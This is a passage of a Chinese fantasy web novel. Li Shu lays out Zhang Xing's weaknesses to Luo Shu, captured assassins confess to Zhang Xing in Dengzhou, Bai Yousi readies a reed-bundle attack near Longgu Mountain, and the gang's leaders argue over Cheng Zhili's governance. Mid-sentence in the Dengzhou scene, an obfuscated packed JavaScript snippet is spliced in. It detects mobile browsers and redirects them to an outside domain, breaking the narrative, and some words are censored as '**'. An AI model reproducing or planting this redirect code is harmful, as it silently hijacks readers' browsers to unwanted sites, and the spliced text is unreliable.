坐在左手第二的李枢闻言捻须来笑,却并不直接做答,而是在扫视了一眼对面的许多幽州军将后反问了回来:“那敢问白都督,你以为张首席是什么人物呢?” 白显规沉默片刻,认真作答:“我以为,张行此人乃是数百年难得一见的绝世之英杰,文韬武略倒是其次,关键是极擅笼络人心,而且心中似乎早就窥破天命,知道要成大势什么为主什么为次,什么可以舍什么一定要留。 “就好像一开始,听说他都点了太守,又是白公的女婿,却什么都不管,直接弃了这些到济水寻那些豪强做盗贼……这事当时怎么看怎么不对,但事后来看,却是河北、河南百姓士民恨大魏入骨,数年内义军蜂起,接连不断,而大魏官家却疲于奔命,渐次衰弱,所以以义军起家实际上远胜过以官军起家……他就是靠着这个轻松越过了许多官家豪杰的。” “那张行恐怕真是黑帝爷的点选。”这时候,坐在右侧首位的幽州大将、左都督魏文达忽然插嘴,按照之前介绍,这位幽州第一大将随着幽州重新整合完毕,已经快到宗师了,这也是罗术的倚仗之一。“不然他一个北地小子,不过是在靖安台呆了三年,如何就能这般通晓**,硬生生弄出来一个黜龙帮?依我看,这必是至尊亲授的学问。” 此言一出,周围议论纷纷,却多是附和魏文达,只有少数几人沉默——譬如侯君束,这厮坐在最外面的位子上,几乎要坐到堂外去了,闻言实在是忍不住撇了下嘴……他可是北地厮混长大的,又是亲眼见过张行的,如何不晓得张行的做派跟北地的做派表面相似,本质不同呢? 不过,也由不得大部分人都这般想。 一来,幽州在河北与北地中间,受黑帝信仰影响极大,天然会计较这个;二来,张行和黜龙帮的崛起过于匪夷所思,最起码对于他们来说显得匪夷所思……你既是黑帝爷的根基,官府的路子,却弃了这些,以盗匪义军的身份起事,然后也不称孤道寡,也不阴谋诡计,甚至修为似乎都是靠着地盘后发撑起来的,结果这么年轻,就步步为营到了目前天下四分有其一的地步,委实让他们难以理解。 议论声中,李枢一早将目光斜到了主位上的罗术脸上,而后者只是一开始听到“点选”二字眨了下眼睛,后来就一直表情从容的来看这些议论纷纷之下属了。 李枢见状,心中冷笑一声,复又捻须开口:“罗总管听说跟张行也有交情,敢问总管怎么看此人?” 堂上立即安静了下来。 罗术闻言则笑了笑,然后缓缓开口:“不瞒李公,我当年看走眼了……当年只觉得这小子足够聪明伶俐,通晓**情势,算是个人才,甚至把他做智囊,却并没有把他脱出我那妻家外甥与我犬子后辈的圈层,以至于等他忽然打到河北的时候,完全措手不及。” 侯君束瞥了眼自己身前的罗信,前者清楚的看到,这位幽州的天公子,听到这段话明显双肩抖动,似乎是恐惧,又似乎是愤恨,根本不像是一个年纪轻轻便凝丹乃至短短数年内便直奔成丹、如今已经是罗氏幽州霸业根基之一天才高手该有的表现。 “后来呢?”李枢当然不晓得门口那点动静,只是继续追问。“黜龙帮过河北也有三年有余了……罗公后来又如何看他这人?” 罗术沉默了片刻,缓缓来答:“确实是个超乎想象之人……不承认也不行吧?” “确实,不承认不行。”李枢平静应声,却明显音量大了起来。“依着我说,张行委实为超世之英杰。” “那我们该怎么应对一位超世之英杰呢?”罗术正色来问,似乎并不是在开玩笑。“投降吗?若是投降,我能做一个行台指挥领龙头吧?” “罗总管,在下还没有说完。”李枢扬声做答。“张行这个人,的确是超世之英杰,但凡人超世,非大毅力、大决心、大气运者,反必遭重厄。何况,张行自视过高,他便是超世,也只是到了祖帝身后继业英豪的地步,结果呢,他自己却常常自诩能证位至尊,抢在三辉之前,先与四御平身……这不是自取灭亡的预兆吗?” 堂上众人各自凛然——比起黑帝点选,想跟黑帝爷平起平坐的疯子,似乎就没那么可怕了。 罗术也精神一振:“如此说来,张行并非毫无破绽?” “岂止如此,连我都知道那张首席破绽多多。”崔四郎也忍不住插嘴了。“譬如说,白都督说他能得人,这是实话,但他也只是外宽而内忌,一来不能容忍稍有触他方略权位之人;二来刻意放纵属下组建派系对立,防止这些豪杰威胁自己,却又使得帮内内耗无度。” 不少人都点头认可。 这的确是实话,黜龙帮的**是出了名的,而这位崔四郎的描述也是符合他们认知的,至于不能容忍特定的人,更是不用有丝毫怀疑,因为眼前这几位就是明证。 罗术也缓缓点了下头,却又摇头:“确有其事,但之前我们就在前线,如何不知道黜龙帮虽有派系纷争,可临到生死关头,总还是会团结一致呢?单通海逆李公你的命令,率军北上,正是那战能反复的根本所在……若非如此,我与薛公又怎么会自保而退呢?” 李枢干笑了一声:“那是生死存亡之时,自然会团结,但若是攻出来呢?若来打河间与幽州,河南的几个行台还愿意为河北那几家拼命吗?机会便有了。” 罗术再度点了下头,却没有接上这个话题,而是继续来问:“还有别的破绽吗?” “有。”李枢正色道。“非只是外宽内忌,而且还好谋独决,繁文多事,轻而无备。” “繁文多事我知道,黜龙帮的会太多了,好谋独决是什么?” “繁文多事不是说开会,好谋独决才是说开会。” “哦?” “黜龙帮喜欢开会,张行也经常把事情推给会议,让大头领们与头领们来商议,但名为商议,却只是喜欢听大家的谋略建议罢了,真正决断时从来只是一意孤行,然后借开会来堵大家嘴罢了。而且,无论事后情势有没有发生改变,大家又有没有什么新的计策,他都只是听而不从,就是要一心一意按照自己之前的想法坚持下去……这便是好谋无绝,当然也是一个大大的破绽。” “原来如此。” “至于说繁文多事,乃是他设计官制时叠屋架构,好好的六部不用,却硬生生弄出来十几个部……这还不算什么关键,最要命的是,这是乱世,是大争之世,是刀兵谋略来决天下的时候,正该把一切心思都用在军事上,他倒好,总是想着搞什么全民筑基,搞什么《黜龙律》,甚至想着修水利……我不是说这些事情不对或者不好,实在是不应该此时来费心力来做。若天下一统,四海晏然,再来做这些不好吗?” “说的好!”罗术精神大振。“确实如此,确实如此。” “还有轻而无备,说的是他平素喜欢摆出亲民简朴的做派,却又经常随意行动,而且防护极差……这种做派,虽有百万之众,无异于独行于四方。若刺客伏起,一人之敌罢了。以我来看,他迟早要被刺杀个几回,只是不晓得会不会得手罢了。” “如此说来,可以尝试刺杀?”罗术明显一愣。“但他不是宗师吗?还有伏龙印在手?” “伏龙印那一战后便碎了,他也不是宗师,只是有些说法的成丹罢了。”李枢自然不会遮掩。 众人轰然起来,而罗术也若有所思,俨然心中大动。 “但我并不建议罗总管行刺杀之法。”李枢话锋一转。 “何意?”罗术正色追问。 “因为此事到底是个赌,而且赌赢的面太小了,偏偏黜龙帮强横,论及军事、财赋,幽州不过黜龙帮三一之数,一旦事败,便无转圜余地了。”李枢认真提醒。“反正他轻而无备,自然有有心人会尝试刺杀的,咱们看着便是。” 罗术不由来笑:“话虽如此,可让两家没有转圜余地,不是李公所求的吗?” 李枢大笑:“罗总管太小瞧我了,我既至幽州,便要想着如何让幽州能胜,怎么能因为个人私怨而陷幽州于无谓之险地呢?” 罗术立即颔首,复又反问:“我果然能胜?” “张行有此四败,罗总管自然有四胜。”李枢即刻提醒。 罗术点点头,认真思索片刻,再度来问:“便是如此,又该如何施展呢?先与黜龙帮做臣服吗?可若如此,李公如何能在我们这里立足呢?” 李枢再三笑了笑,便将自己想好的那个南援薛常雄,北取北地的计划说了一遍,却没有提及要罗术主动居于薛常雄之下的说法。 而此言一出,堂上气氛倒也严肃了不少,虽有议论,也都严整有序了不少,看的出来,许多人都明显动心——作为一个军政实体,于乱世之中能有一个可行性计划当然是好的,但计划是否可行大家也都疑惑。 便是罗术也只是认真听了些议论,然后称赞了李枢有大智慧,却并未直接表态,搞得李枢也不好说什么慷慨激烈的话。 不久散场,自有人将李枢送入精美客房,而后者愕然发现,宴席中一直没吭声的崔傥与崔二十七郎,外加自己心腹崔四郎,居然全都不见,而其人虽然心惊肉跳,却也无奈,也只能在房中枯坐。 坐到太阳偏西,崔四郎方才赶到,李枢也才放下心来。 结果刚一坐下,崔四郎自己便苦笑起来:“李公,有好消息与坏消息,你想听哪个?” 李枢也笑:“随便。” “好消息是,罗总管此人确实务实,留我们祖孙三人说话时,我告诉他要伏低做小,他眉头都没打一下,便直接应了,俨然是准备用你的南援北进之方略……甚至已经准备遣使南下,与薛常雄修好了。” 李枢再笑:“果然是好消息。” “坏消息是,他这人务实的异常……他问我叔祖,崔氏在南面还有多少势力,能否联络二郎、二十六郎与程大郎?”崔四郎一声叹气。“还问我叔祖是否与冯无佚有交情,问把太后与小皇帝接到幽州牛河是否会随从?还问我们,李公自是关陇名族,既可以弃黜龙帮,将来又会不会弃他?” 李枢听到最后一句,终究难绷,却是忽的一下站起身来。 然而,这位昔日黜龙帮二号人物,在客房内兜兜转转半日,到底还是坐了回来,然后勉力来笑问:“仓促来投,不能取信于人乃是寻常……好在他信得过崔氏。” 崔玄臣叹了口气:“道理是这个道理,但怕只怕要李公对这罗总管伏低做小,才能取得一方任事之权。” “罗术能对薛常雄伏低做小,我如何不能对他伏低做小呢?”李枢反而坦荡了起来。 “正是此意。”崔玄臣也肃然道。“李公的根基都在黜龙帮,想要一图雄才,到底还得借外力回身取这份基业而代张行的……总不能离开河北去关西吧?而且真要去关西,以白横秋之根深蒂固,莫说不能取黜龙帮基业,怕是只能做个富贵闲人了。” 李枢心中一突——无他,这话过于突兀,崔四郎很明显是在暗示,即便是同病相怜的崔氏那几人,尤其可能是崔傥,恐怕也在刚刚的私下交谈中质疑了他李枢的关西身份。 甚至,崔玄臣自己也在担心。 这些河北人! 李枢心中发苦,却只是再度来笑:“说得好,只要还存了一份念想,就不能西去的。” 崔玄臣如释重负。 另一边的登州,随着夕阳西下,张行一行人也抵达了登州境内的一座县城,而这个时候,程大郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167997|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的不安已经到了极致……哪怕是张行路上还安慰了他一句。 没办法,真没办法,自己暂署的地盘上,自己老家附近,自己招的人,自己的故旧,即便是张首席信他,知道不是他的授意,可总要承担责任吧? 真有一日,黜龙帮地盘再大了些,要真正任命一个龙头,或者进入大行台,开大会的时候,有人提一嘴此事,到时候怎么说? 如今只能指望这些人并非刺客,而只是间谍了。 “我等是东胜……东夷人的间谍,那位大都督安排的,这次随行,本意是想行刺杀之举,只是没想遇到昔日故人,更兼张首席威仪出众,让人心折,所以不敢动手。”随着为首之人下拜招认并奉承起来,程大郎脑瓜子都嗡嗡了起来。 “威仪?”张行忍不住吐槽一句。 他都不知道自己有什么威仪?尤其是今天,那些少年游侠搞得跟马戏团一样,还威仪。 “跟周乙不一样,这郑二郎因为年龄缘故我是认识的。”秦宝打断下方那人稍作解释。“当年在登州打过几次,他素来怕我,这次见到我便显得慌张起来,所以漏了馅。” 这就对了。 张行点点头,方才来看程知理,却并不追责,反而问了个意外的问题:“周乙这人程大郎知晓吗?” 程知理茫然摊手。 张行于是解释了一遍缘由,乃是早年便凝丹的登州黑道高手,当日上过芒砀山劫纲,现在据说信了真火教,南下去了。 程知理这才醒悟:“这不是周乙,是赵议,他用的母姓假名!表面上粗鲁,其实是半个精细人。” 张行摇摇头,不禁感慨:“登州游侠何其多,何其散乱……而且怎么个个都是精细人呢?” “没办法。”秦宝幽幽一叹……很明显,来到登州老家后,他话就多起来了。“这地方先是个针对东夷的总管州,是个军州,然后又连着东夷,教人筑基的武馆也多,黑道逃命也都从此处过,三征也都从这里走……游侠自然多,而且不精细或下不去。” 张行点点头,终于再看向那下拜之人:“郑二郎,你是自作主张来刺杀,而是郦子期给你们有说法?” “是有说法。”被捆缚严密的郑二郎赶紧做答。“大都督说,白娘子被困在东胜……东夷那里,程大郎这里肯定要招兵防卫,我们几人是登州人,又与程大郎相识,过来必然会得用,然后张首席又必然会来登州做接应,便让我们趁机作为,到时候程大郎无地自容,只能倒向东夷……” “我视尔等为兄弟!”程大郎气急败坏,再度抢在面色不善的马围与白金刚之前开口。“就这般害我?” 郑二郎也有些惭愧,直接低头:“今日也有些顾忌程大哥好意的意思,才那般尴尬。” 程知理还想呵斥,张行却摆手制止:“老程,你不要计较,这事跟你无关,最多是个失察……这是那位大都督来给我打招呼呢!” 程大郎强压不安,便要来问。 孰料,张行反而看向了那几人:“郑二郎,那位大都督是大宗师,又位高权重,还极擅用间,你们在东夷地界地被他拿捏使用也属寻常……所幸今日你们主动收手承认,倒也不是不能做个赦免……去晋北如何?那边正缺人手。” 郑二郎连连在地上叩首,口称愿意,马围和白金刚早已经不耐,前者更是赶紧一挥手,让人将这些刺客带出去了。 人走了,张行方才与几人做解释:“是三娘的事情……郦子期如何会指望这些人杀了我?或者说,能杀我了固然是好,但杀不成也是个说法……他是让我做好准备,千万不要小看这次落龙滩之行。” “是警告吧?”白金刚蹙额提醒。“警告我们不要带大军过去……省的把避海君招惹出来,到时候不好收拾……路上首席不是说了吗?千金教主提醒的,我们这边出兵,避海君就会动,东夷那边出兵,分山君就会出来。” “不是。”马围脱口而对。“不是出兵就一定会有真龙阻拦,而是说,若真龙被唤醒,一般而言只会阻拦对面的军队过来,或者相互斗争。” “真龙这般没有计较吗?”程大郎反而不解。“故事里的真龙,不都是挺聪明的吗?” “谁知道,也可能就是不聪明,也可能是被至尊下了命令,还有可能是有怨气。”马围干笑道。 “这就差不多了。”程大郎叹了口气。“我们登州这里,其实对这两位真龙也不熟悉,只是因为三征的缘故,这个二十年里忽然跑出来两回,也都有些糊涂。” “若是这般,千金教主哪来的言之凿凿?”马围明显一愣。 “我仔细看过一征二征的记录。”张行插嘴道。“一征的时候是东夷震恐,上来就请了避海君,然后避海君涨潮,使落龙滩化为浅水,阻断进军,然后大魏这里请出分山君,双龙相争,下方是大宗师、宗师结成军阵在水上作战,宛若神话;二征的时候,是东夷人诱敌深入,待后方杨慎忽然**,趁大魏退军时方才请出避海君涨潮落火,然后分山君方才出动,再度与之争斗。” “这么说确实有缘故了,郦子期也似乎有理由来做这个提醒,他是怕我们谁过去,惊动了真龙,到时候闹得不好收场。”秦宝眉头紧锁。“可白总管怎么办?真要把一切都压在她身上吗?” 在场几人表情各异,心思不同……说实话,大家都好像抓住了点什么,也都有点迷糊,然后全都不知道如何权衡利弊。 “当然不能。”张行倒是决心已下。“这件事到了眼下,必然牵扯到分山君、避海君,也会牵扯到东夷与我们……具体利弊,因为情报缺失,委实难以判断,但既然难以判断,咱们也没必要判断,只按照既定计划,去落龙滩接人就是……于公于私,都不可能弃三娘与诸将士在彼处的。分山避海,也要一起来当。” 话到这里,张行顿了一下,方才开口:“再说了,我既是从落龙滩逃回来的,而且还是从那两位真龙鼻息下逃出来的,便总要往那里走一遭……看着近了,一步步的强盛起来了,但这天底下最强的真龙差距到底有多大,总要看看的。不止是我要看,咱们黜龙帮也得看,因为咱们得事业也迟早会对上这些真龙。” 众人晓得这位首席决心已下,再加上真龙二字委实惊人,便都不再吭声。 倒是秦宝,心中微动,似乎想到了什么——当日自家这位三哥从落龙滩转山中逃回来,乃是当面遭了龙厄的。 黜龙帮,黜龙帮,说要剪除暴魏,说要一统天下,说要利天下,说要尽量让人平等,但偏偏用如此生僻的词来定这个帮,不会是因为当日的心魔吧。 众人收敛心神,只去准备物资后勤,迎接后续部队,自然不必多言。 而距此地约莫千里之地,落龙滩的另一边,白有思没有半点阻碍,早已经轻松夺取了龙骨山城。 “总管。”龙骨山上,程名起来到抱着长剑望向戈壁滩发呆的白有思身后,直接认真提醒。“此地地势险要,不得不防……总管可有策略?” “有。”白有思回过头来,平静做答。“让咱们的登州老人先过,过了以后不着急走,等所有人都过了龙骨山,然后再一起出发……不过过去的人也不能闲着,要传令下去,让他们沿着河去各处滩涂割芦苇,用芦苇立一个营寨。” “芦苇立营寨?”程名起大为不解。“不怕着火吗?” “防着点便是。”白有思无奈道。“这边除了垂柳根本没有树木,垂柳又扭曲不成材,只能用芦苇……不要涂泥,稍住几日,走的时候还能拆了做柴草,前面的路可不好走。” “既是总管吩咐,我照做便是。”程名起打量了一下身前的白三娘,想了想,点头认可,却又再三连问。“不过,前面东夷人果真愿意让路吗?还是要再打一仗?若打仗又该如何?在此地设伏吗?” “都不好说。”白有思回头看着这位经历过三征的黜龙帮头领笑了笑。“要不要打不好说,但也没几日就要见分晓了,而且我准备马上派第二个使者过去接应咱们的齐王殿下了,至于在哪儿打也不好说……你心里明白,做好准备就是。” 程名起点点头,面不改色走了下去。 秋高气爽,白有思难得机会,继续抱着长剑,挂着罗盘,望着西面戈壁发呆,甚至远眺向了根本看不到的落龙滩。 就这样,两日之后,在白有思视野所向却不能及的地方,落龙滩核心地区南端隘口处,东胜国大将、左亲卫大将军,之前担任过郦子期副帅的高千秋正在自己那座永久性大营的房舍内召见新抵达的使者。 “如此说来,你在釜岭那般作为竟是被胁迫的吗?”听了片刻,高千秋居高临下,冷眼来笑。 “自然如此。”原釜岭关副将刘延寿在地上叩首以对,再抬起头时已经是血污涕泪满面。“高副帅,那种情形,若不从她,必死无疑……你不知道,她杀王将军如杀一只鸡……当时不止是我,在场所有人都不敢出一声,她说要举杯满饮,我们只能全都举杯满饮。” “这我倒是信的,这我倒是信的。”高千秋叹了口气。“可你既如此畏她,为何还要临阵反水呢?” “不是临阵反水,是她自家以为我会服从,还把我当做使者送来。”刘延寿赶紧道。“而我此时若不能立功,求得大都督原谅,我家人如何?难道我要弃了全家去中原吗?我又不是高副帅这般名门出身,整个河北、北地都是同宗。” 高千秋笑了笑:“如此说来,倒是要防着我反水了?” “末将不敢!”刘延寿只能无奈叩首。 “起来吧。”高千秋想了想,也觉得没什么可计较的,便抬手向门口侍卫示意。“给刘副将弄个座位,拿个热巾过来擦擦脸。” 刘延寿如释重负。 而待其人落座擦脸结束,又喝了一杯酒水,高千秋方才继续来问:“那白娘子想让我们放他们走?是真心的吗?” “确实是真心。”刘延寿解释道。“依着我看,她只是想带人回去……能战能胜,自然就战了,战而胜之麻烦的,肯定是要先礼后兵……你让她走,她就走,不让她走,她就来打。” “这倒是……无话可说了。”高千秋点点头。“所以,这次也是先礼后兵了?” “算是。” “算是?也罢,那你自诩要立功,又有什么说法?” “我出发时她正在过龙骨山……十万之众,其中大部分是之前的俘虏,少部分是之前登州和徐州来的流民,只有一万登州老兵,如今也不足数了……” “原来如此。” “依着我看,她遣齐王这种贵人过来,其实是缓兵之计,想要敷衍高副帅,趁机夺取龙骨山,然后赶紧越过来。” “你是说……”高千秋表情古怪。“她若全队过了龙骨山,是敢再来打我的?” “在下没这么说。”刘延寿再三解释。“但她肯定是有以齐王和我这些使节作掩护意思的,因为过龙骨山是大队行军最危险的时候。” 高千秋点点头,然后沉思片刻,再来询问:“所以,你的意思是什么?” “那我就要先问高副帅了,高副帅的意思是什么?你准备放白娘子径直走了吗?”刘延寿居然反问。 “他杀了我好友钱支德,杀了我大东胜国那么多将士,还破了足足四五关城,我岂能容忍?”高千秋神色凝重。“唯独此人修为极高……按照郦大都督的说法,此人与那司马正之修为绝不可以常理来论,这俩人是宗师,寻常宗师就都不是对手,大宗师也拿不下,所以,她让那齐王殿下来作的威胁,不是没有根本的……我也不得不谨慎。” “这就是我指望高副帅在大都督面前替我转圜的立功根本了。”刘延寿也严肃起来。“不瞒高副帅,依着我看,那白有思白娘子的胳膊在与钱老将军作战时伤的极重,怕是没那么大威风了……便是之前径直入釜岭关,看似强横,其实也是以斩首而作避战之态。” 高千秋心中微动:“如此说来,你的建议是,咱们现在发兵东进,趁着他们被龙骨山一分为二的时候,突袭其部?” “还可以用火攻。”刘延寿进一步提醒。“末将来的路上看的清楚,秋后戈壁滩上荒芜,偏偏充作来路的河畔颇有滩涂,到处都是枯黄芦苇,沿途收集一二,到了龙骨山下,人手一把火,此战便可了断。” “好计策,好计策!”高千秋连连颔首,却又反复摇头。“但我不会中白娘子这个好计策的!” 刘延寿茫然一时。 高千秋也不遮掩:“刘副将,你不觉得按照你的方略,我分明是在学钱老将军的行止吗?你想让我自投罗网是不是?” 刘延寿大惊失色,再度弃座跪地:“高副帅!我所言俱是真心!何曾要引诱副帅去自投罗网?” “或许吧。”高千秋笑道。“或许是你中计而不自知呢?” 刘延寿沉默一时,状若茫然,只能小心提醒:“可是副帅,你想过没有,若是白娘子没你想的那般聪明,你可能会错过最后一次击败此人的机会,此生都不能与钱老将军复仇了!” “我想好了,你也不用说了。”高千秋摆手正色道。“不能尽信你,也不能不信,不能畏缩,也不能冒进……我之前就派出了哨骑,现在再派出一个使者,假装答应她,却要留你跟齐王在营中做人质,然后观察龙骨山的情况……若是她委实破绽明显,我便发兵,若不明显,我便等她过了这百里戈壁滩涂,只在这里以逸待劳,再来攻她!” 刘延寿无奈,最后来言:“副帅扣着我们,果真能取信白娘子?不会打草惊蛇?” 高千秋摆手:“我自有手段。” 刘延寿哑口无言,只能闭嘴。 又隔了一日,随着日落,龙骨山下的芦苇营地中,因为要防备火灾,却居然没有点起几个火把,不过,此时仲秋,双月如双目高悬,倒也有些清亮,而白有思便在双月照耀下,于龙骨山顶召集了所有头领,然后盘着腿宣布了一个军令: “明日一早,已经过来的八千登州老营,全都出动,拆了芦苇营地,人手一捆,奔袭高千秋的落龙滩南营。” 也是盘腿而坐的众人闻言多不言语。 其实,并不是没有话说,比如程名起就想问:“这几日哨骑明显,而且今日白天来了使者,芦苇营寨暴露明显,为何不等对方主动来攻,以逸待劳?” 马平儿也想问:“总管左臂伤势如何?非要做战吗?那使者不是说许我们走了吗?” 钱唐也想问:“齐王不管了吗?” 王伏贝也想问:“兵马足够吗?要不要从这次解救的俘虏中抽调个五六千?” 但是不知道为什么,几人都没有开口,只有王振笑了几声,却也没有说话。 最后唯独阎庆,明显有些小心:“高千秋不是号称名将吗?而且部众极多,手下修行者也多,总管又受了伤,真要主动开战吗?” 白有思本想解释,高千秋这个人,谨慎多疑,又有钱支德的前车之鉴,自己反反复复送了真真假假许多混淆信息过去,又派了齐王这些人安他的心,给他错误的安全感,他必然会疑虑不前,只会选择落龙滩入口等待机会等等…… 但是,最终白三娘也没有说这些话,停顿了一下,她从怀中取出一封今日刚刚从高千秋使者手中获得的信来,然后在几人的注视下打开信封,缓缓念了其中两句: “按思思之前记叙,此事首尾已经尽知,便是之前猜度了。而当此之厄,别无他法,只所谓一与一,勇者得前耳。思思且当其重,仲秋之后,我亦将提十二营兵马东进,与你会剑于落龙滩。” 一言迄,白有思环顾几人,眉目挑起:“诸君,今日咱们且当其重!” 双月清辉红光之下,众将皆起身拱手,口称得令。 第四十三章 归来行(9) 登州城,秋高气爽。 数以百计的少年骑士们依然是高头大马、披红挂彩,却个个面色发白,老老实实的立在道路两侧,看着一排又一排的黜龙帮正经军士挂着铁裲裆、套着黑罩衣、踏着六合靴、扛着长铁枪,以一种相当齐整的姿态走入登州城内。 那个样子,跟回到乡中听到的所谓当年荷戈扫荡登州时的黜龙帮几乎无二。 不过,这些被惊吓到的少年骑士们肯定想不到,他们见到的这一营打头的兵,几年前却是被扫荡的那一批……这一营兵马是高士通所部,基本上是当日占据登州的河北义军精选而出。 紧接着,是樊豹、贾务根等营,也都是当日之降人,只是距离近来得快而已;与此同时,曹晨、刘黑榥这两支骑营也已经抵达,却是从登州城外围的城池穿城过,直接往更东面的旧日登州大营而去……至于剩下的几个营,估计还要两三日。 当然,都已经足以震动登州内外上下了。 而这些人,或者说除了程大郎以外的登州上下所有人所不知道的是,这些兵马抵达之前,紫面天王雄伯南与几位未至头领的金刚已经一早便入得城来,此时正在总管府后堂与张首席做一些计较。 同时列坐的,还有登州这里的代总管程知理、白有思在时转任的文书分管房敬伯,外加白金刚、庞金刚等人……马围倒是不在,他老早去了更东面的登州大营做总揽去了。 而秦宝如今还没有正式的任命,没有说话的权力,却被支到门前去站岗。 总之……没错,他们又开会了,也不嫌烦的。 “登州有很大问题。”雄伯南一出口,就让程大郎有些如坐针毡。“我动身比首席早一天,到登州地界也不过两天,但寿金刚、矮金刚、高金刚他们来的早,让他们来说。” 坐在张行身侧的程大郎立即看了一眼那几个新添光头,然后又忍不住去瞅早一些随张行抵达的两个光头,复又想起那位在河北战场上大显神威、帮里地位不比自己弱半分,估计两三日就能到的另一个光头,不由更加心乱——别的不说,只是先到的白金刚,对自家明显是有意见的,从第一面就鼻子不是鼻子眼不是眼的。 也不知哪里得罪了这群金刚? 郑二郎间谍刺杀纯属意外好不好?肯定跟这事无关的。 胡思乱想间,几位被点名金刚还没开口,那白金刚居然已经催促起来:“速速说来。” 高金刚几个自然晓得对方脾气,却也不慌不忙,只坐在那里汇报:“事情很多,但大约可以分成两类,一个是许多帮里头领的亲眷故旧都在登州各处置业,比较他处,实在是多了太多,说一句登州四成的工商产业都被帮内头领和舵主们这一层的家中给占了,怕也无妨……” 程大郎欲言又止,房敬伯倒是没有什么反应。 “另一个是今年以来,尤其是秋后这一轮授田,过于无序,甚至堪称放纵。”矮金刚也接口继续报告。“具体来说就是,只要从登州折返的形势户索要自己的所谓祖产,州府都会给无条件调到原籍,然后按照原本的田产位置给授……而索要超出定量田产的,一般而言,只要有对应子弟进入军中,程代总管就会给对应的署任,然后按照军士品级补助让地方上再增补过去。” “还有一件事。”寿金刚补充道,作为领兵头领,他这次是轻身而来。“其实跟授田算是一回事,只是值得单独说罢了,我亲眼见过,许多刚刚回来的形势户里,都还跟着奴仆,没有释放奴籍的意思……还有一起回来的人里面,有人朝其他人放高利债,登州这里却置若罔闻。” 原本程大郎一直有主动辩解的意思,话到这里,反而安生了,而房敬伯则依旧从容。 “还有吗?”张行没有去看两个当事人,只是继续询问。 “要说具体案子就太多了,但登州这里的事情脱不出这两类三件。”雄伯南皱眉总结道,同时扫了程大郎一眼。 “程总管,是这样吗?”张行终于扭头去看程大郎。 程知理站起身来,看他神情和动作就知道,这厮并没有太慌张:“回禀首席,我不敢说这些话是假的……” “首席。”听到对方承认,白金刚忽然起身与程大郎并列,然后朝张行拱手来言。“首席还记得我们第一次见面时的言语吗?要我说,程知理这类人便是假英雄、假豪杰,若留着此人在帮内,还是如此紧要位置,便是帮中基业崩塌的预兆,将来坏了天下生机的,也就是他了。” 原本还算从容的程大郎目瞪口呆。 是真的目瞪口呆,因为他根本不理解为什么对方要这么说,更不理解这话的道理在哪里,更让他无法理解的是,从首席张行到天王雄伯南再到其他几位头领,全都没有什么惊愕之态,似乎早有预料一般。 一瞬间,这位心思细密的黜龙帮大头领脑中闪过许多想法,却还是不解……若是因为秦二到了或者白三娘即将回来所以张行想卸磨杀驴,可昨日那么好的机会,直接借着郑二的破事拿下他不就成了,何必眼下再发作呢? 等今日兵马入城? 不对呀,他程大郎再不知机,也跟这位张首席厮混快五年了,如何不晓得这位的脾气性格?真要存了心拿自己,早就干脆拿了,而且一定会公开理由,光明正大,绝不会这般遮遮掩掩,拖拖拉拉。 那这白金刚到底怎么回事? 想到这里,他是真糊涂了,只能求助性的去看张行。 张行倒是坦然,只是失笑来言:“程大郎莫要有什么不安,白头领自江南过来,亲眼见南方义军腐化堕落、火并厮杀,而这其中主要的缘故便在结党营私……所以对此类事极为敏感,不是针对你。” 程大郎似乎是得到答案,却还是不安,便再度朝张行拱手:“首席,敢问你也以为我结党营私吗?” “这要看今日天王他们所说之事是否属实,你又是如何计较的其中利害了。”张行面色不改。 “回禀首席,我刚刚说了,确有这些事情,但我并不认这是什么结党与营私。”程大郎赶紧解释起来。““譬如第一件事,不管谁来置业,我便是代总管,又有什么道理不许人家置业?而至于说为什么这些头领家眷在登州置业比其他地方多,道理也很简单,登州这地方之前数年都没有人,偏偏矿山、海港、田野、牧场、山林都不缺……产业空出来了,他们自然蜂拥而至。” “有道理。”张行点头。“这是实话。” 雄伯南也点了下头,然后扭头亲自对白金刚稍作解释。 原来,这个算是历史遗留问题,登州一直是三征的起始基地,是军事化管理的,偏偏又是义军蜂起时第一个攻陷的重镇,当时河南河北乃至于江淮的义军足足数十万,规模比之三征时的大魏主力也不遑多让,直接就把登州一带给卷成了白地。 能跑的都跑了,不能跑的也被裹挟了,程大郎这种实力的地头蛇都捱不住,当时情况之惨烈可见一斑。 然后这些义军就在登州割据乡镇、县城,几乎把登州分光了。以至于黜龙帮击败张须果进一步东进后,最大的收获赫然是这些义军本身,而这也是当时张行决意过河北上的原因之一。 等到黜龙帮北上之后,因为河北空虚外加这些登州义军多来自河北,所以大部分义军又都被迁移回了河北,要么被整编成营,要么被拉去屯田。 于是乎,再往后,登州就一直处于程大郎所说的那个奇怪状态,所谓瘦死的骆驼比马大,什么资源和设施都有,城池也多,偏偏就是没人……闹乱子的时候,士民百姓往东夷跑,自然不好回来;地主富商往徐州跑,在当时军事对峙的状况下也回不来。 这种情况登州似乎的确是个置业的好去处。 但白金刚依然没有完全认可:“若是这般说,为何寻常商人、富户不来,来的都是帮里头领、舵主的亲眷?” 程大郎此时只以为自己已经重新立住脚,也是心里来气,便直接冷脸来对:“自然是因为只有帮里人物的亲眷才对帮里有信心,寻常富户对上前几年那个局面,哪个敢把资产安排出自家本土郡县?” “那为何之前白总管在任的时候没有多少头领亲眷过来,只你程代总管在任时一窝蜂来了?”白金刚同样不惧,直接转向与对方面对面,甚至音调都高了。 “那我老程就要说句实在话了。”程大郎扭过头去,状若冷静下来,只叉着手站在这里叹了口气。“便是帮内头领的亲眷,去年之前也都对帮里没几分指望的。” 白金刚当场一噎。 雄伯南几人脸色没变,乃是因为他们之前脸色就一直不好看。 张行倒是笑了:“这话也有道理。” “但还是不对。”白金刚重打精神来言。“便是此事道理是通的,可普通士民看到之后又怎么会不怀疑我们帮中人物趁机侵夺地方?而程知理身为一个总管州的代总管,却放任这种有嫌疑的事情发生,不仅会败坏帮上的名声,而且会撒开口子,让帮中人争相效仿,自甘堕落!” 